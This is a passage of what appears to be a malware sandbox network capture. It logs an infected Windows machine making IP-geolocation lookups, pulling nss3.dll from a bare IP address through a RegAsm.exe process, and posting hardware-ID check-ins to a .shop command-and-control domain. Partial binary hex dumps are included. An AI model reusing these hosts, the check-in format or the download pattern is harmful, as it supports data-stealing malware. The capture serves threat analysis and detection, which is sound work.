2024-05-24 07:42:59 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49918	34.117.186.192	443	8088	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:00 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:43:00 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:43:00 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:43:00 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:43:00 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49921	104.26.5.15	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:00 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:43:00 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC466E98:7738_93878F2E:0050_66504504_EEE3C4B:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5mJiNaUUwR9kjw4Sx5z5kXtXqKfl1x13cx99adysK66T7niVpP6j%2FZfxZ%2BUzBPPEh9q2z0L%2BLvU85omMDv6DeB1psqzqKAca47k680a1CG8zTI2zCPC3ZXcqQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6fad89b0f60-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:00 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 07:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49920	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:00 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-05-24 07:43:00 UTC	889	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1edq4isKNH2Gwr7cu2%2BNKonFK2ISZRPOef767edKcOLzZ%2B%2FhbkUf6K1dzLrvs0dC1TWAnzyxFpoGi5ruJzmKre4E8solbGNXWAqf958WCfjBQT67Q4pSax5Fnqhg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6fabc02728a-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:00 UTC	419	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.175","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
2024-05-24 07:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49919	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:00 UTC	170	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:00 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:00 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-1f3950" Accept-Ranges: bytes
2024-05-24 07:43:00 UTC	16136	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-05-24 07:43:00 UTC	16384	IN	Data Raw: 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 fe ff ff c7 41 14 0b 00 00 00 8b 51 18 Data Ascii: i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQAQ
2024-05-24 07:43:00 UTC	16384	IN	Data Raw: 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b 80 a0 00 00 00 83 e0 0c 83 f8 08 0f 85 Data Ascii: ti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-05-24 07:43:00 UTC	16384	IN	Data Raw: 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d 48 11 1e 10 89 ca 09 c2 0f 84 b1 fe ff Data Ascii: w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SLH
2024-05-24 07:43:00 UTC	16384	IN	Data Raw: 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 68 78 fc 1b 10 6a 0e e8 0a 8f 02 00 83 Data Ascii: $pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hhhxj
2024-05-24 07:43:00 UTC	16384	IN	Data Raw: 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 00 8b 45 08 ff 70 1c 68 20 85 1c 10 eb Data Ascii: o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$hEph
2024-05-24 07:43:00 UTC	16384	IN	Data Raw: 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 18 89 d8 83 c0 04 68 fc 01 00 00 6a 00 Data Ascii: h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$hj
2024-05-24 07:43:01 UTC	16384	IN	Data Raw: 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff ff 8b 10 8b 4d e8 83 c4 10 5e 5f 5b 5d Data Ascii: HukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-MmM^_[]
2024-05-24 07:43:01 UTC	16384	IN	Data Raw: f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 09 85 ff 75 0a e9 69 03 00 00 c6 44 02 Data Ascii: WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$RttuiD
2024-05-24 07:43:01 UTC	16384	IN	Data Raw: c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 00 00 e9 36 f8 ff ff 8b 40 14 e9 d1 e9 Data Ascii: D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$6@

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49922	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:00 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1530 Host: employhabragaomlsp.shop
2024-05-24 07:43:00 UTC	1530	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:00 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=abh7c01kvdu078gajhur6o17p9; expires=Tue, 17-Sep-2024 01:29:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jjSGi4nmY%2BnzxRApFerloseR2RZHUBWb6%2FBd%2BIzMMCncFaevU5cd0CEv24j4Zmaxn3TLUkUa0DK1NEFK3hwy4y1skM4zbKey2f1CXgncFaUP%2FDrhlR7p6i4R5%2F9h7Fuhvz4LH%2Fj9JQBuxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6fc79a919eb-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49923	104.26.5.15	443	8088	C:\ProgramData\MPGPH131\MPGPH131.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:00 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 07:43:01 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E3EA6:3176_93878F2E:0050_66504505_EF991C0:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9CyqzBy9mHg8Ym9xu0vUNGVUegUoIWtkhGFuJrr7ZIDCbYb2GtReUaMHXsV6WX3v5M4jm%2BQITEyfIniFsFjIGrL%2BYiAotnAbvpoQAjmyIP9sWmsLBCgQgZGVgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba6ff9aa2c329-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:01 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 07:43:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49910	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:02 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
